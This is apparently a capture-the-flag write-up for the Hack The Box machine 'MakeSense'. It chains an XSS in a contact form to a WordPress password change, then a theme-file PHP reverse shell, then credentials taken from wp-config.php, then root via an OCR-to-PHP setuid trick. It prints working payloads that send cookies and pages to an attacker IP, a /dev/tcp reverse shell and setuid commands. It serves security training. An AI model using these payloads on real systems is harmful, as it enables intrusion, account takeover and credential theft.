Hack The Box / LINUX / 2026-10-31
Hack The Box — MakeSense (Linux)
We start with a XSS on a contact form, which allows us to change the password of a wordpress user. Then we log in on wordpress and edit the theme files to get a reverse shell. We find credentials in the wordpress configuration file, which allow us to log in as walter. We use ssh local port forwarding to access a web application that runs as root. We use an OCR to php command execution technique to make /bin/bash setuid root and get a root shell.
Target:
- IP:
10.129.34.50
Port scan
sudo nmap -sC -sV 10.129.34.50 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 27:c3:7d:10:17:3b:dc:29:cf:05:83:33:ab:28:d0:38 (ECDSA)
|_ 256 a3:46:f2:d7:1f:43:41:31:35:a2:88:31:ff:2a:0b:22 (ED25519)
80/tcp filtered http
443/tcp open ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: 400 Bad Request
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_ssl-date: TLS randomness does not represent time
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: commonName=makesense.htb
| Issuer: commonName=makesense.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-05-29T16:37:29
| Not valid after: 2126-05-05T16:37:29
| MD5: 137e 40f1 46c6 4920 684e 34dc 3a8e 8887
| SHA-1: a53c 8772 c319 515b 0b1d 42eb 2327 a5f7 1115 2a61
|_SHA-256: 59e3 04ab 3225 c2f6 3984 c784 ad89 508d 0baf 8b57 357b 0b2e d597 21d9 5a5b ead5
8001/tcp filtered vcom-tunnel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial enumeration
Go to https://10.129.34.50/ with a browser. View the https certificate. The common name is makesense.htb.
Add makesense.htb to /etc/hosts.
Go to https://makesense.htb/. It is the same website.
Go to the contact section, fill the form and click on "send message". The website says: "Thank you for contacting us! We will get back to you soon.".
Achieving XSS
Now, let's edit the message to try to achieve xss. Intercept the submit request with burp proxy. Send the request to repeater.
Start a listener:
python3 -m http.server 5555
Set the message to:
<img src=x onerror=fetch("http://10.10.16.116:5555/?c="+document.cookie) >
Send the request. After a bit we receive a request on our listener. There are no useful cookies, but this shows that we have xss.
We can try to see if the user that runs our javascript is logged as admin on wordpress. We can create a script get_profile.js:
var myip = "10.10.16.116";
fetch('https://makesense.htb/wp-admin/profile.php')
.then((response) => {
return response.text();
})
.then((data) => {
fetch(`http://${myip}:7777/`,{method:'POST',mode:'no-cors',body: data});
})
.catch((error) => {
fetch(`http://${myip}:7777/`,{method:'POST',mode:'no-cors',body: error});
});
We use a simple python http server to serve this script:
python3 -m http.server 5555
We create a simple python flask server to receive the results of the requests made by the target browser and save them to a file. See the attached script server.py.
python3 server.py
Then, we can submit the message:
<script src="http://10.10.16.116:5555/get_profile.js"></script>
We receive a request on our flask server. Our server has created a profile.html file with the content of the profile page. Open it in a browser. We can see that the user is logged in on wordpress.
Using XSS to change the password of the wordpress user
The profile page has a form that allows to change the password of the current user. Note that there is a _wpnonce hidden field in the form, which changes at each request and can cause issues if we want to use the xss to change the password. Therefore, to change the password, we need to first get the profile page and submit the form to change the password, all in one go.
See the attached script change_password.js.
Now, we can submit the message:
<script src="http://10.10.16.116:5555/change_password.js"></script>
Wait a bit and we receive a request on our flask server. The password should have been changed to !Summer2026!.
Now go to https://makesense.htb/wp-login.php and log in with the credentials: walter / !Summer2026!. We are logged in as walter.
Wordpress command execution
Now that we are logged in on wordpress, we can achieve command execution by editing the theme files. Go to Appearance --> Theme File Editor --> edit header.php and put this as the first line:
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.16.116/4444 0>&1'"); ?>
Start a listener for the reverse shell:
nc -nlvp 4444
Click "Update File". We receive a reverse shell.
Upgrade the reverse shell to a proper tty:
python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
Let's look at the users in the /home directory:
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jul 1 00:45 .
drwxr-xr-x 23 root root 4096 Jul 1 00:45 ..
drwxr-x--- 7 admin admin 4096 Jul 1 00:45 admin
drwxr-x--- 4 walter walter 4096 Jul 1 00:45 walter
Harvesting credentials
Let's look at the wordpress configuration file:
cat wp-config.php
We notice:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'JbhHDAEgXvri3!' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
Log in as walter:
su walter
# insert the password JbhHDAEgXvri3!
You can also login with ssh:
ssh walter@makesense.htb
# insert the password JbhHDAEgXvri3!
Now we can access the filtered port 8001. We also notice that this process is running with the root user:
ps aux | grep php
root 1391 0.0 0.7 228552 31580 ? S 04:50 0:01 php -S 127.0.0.1:8001 -t /root/ocr4/
We can use ssh local port forwarding:
ssh walter@makesense.htb -NL 8001:localhost:8001
Go to http://localhost:8001/. It requires a login. Use the credentials of walter.
Privilege escalation - OCR to php file
We are in a web application that allows us to draw some text in a canvas. When we click Recognize, the system runs an OCR that recognizes the text and gives us the result. If there is a result, we can save it to a file, for example result.txt. And the file is then accessible at http://localhost:8001/saved/result.txt.
The idea is to create an image with some text which is a php command to make /bin/bash setuid root. Then we can use the OCR to recognize the text and we save it to a file result.php. Then we can access the file at http://localhost:8001/saved/result.php and it will execute the command to make /bin/bash setuid root. Then we can run /bin/bash and we will have a root shell.
See the attached script exp.py that automates this process. It creates an image with the text <?php system("chmod u+s /bin/bash"); ?>, sends it to the OCR, saves the result to result.php, and accesses the file.
python3 exp.py
Now, on walter shell:
bash -p
We get a root shell.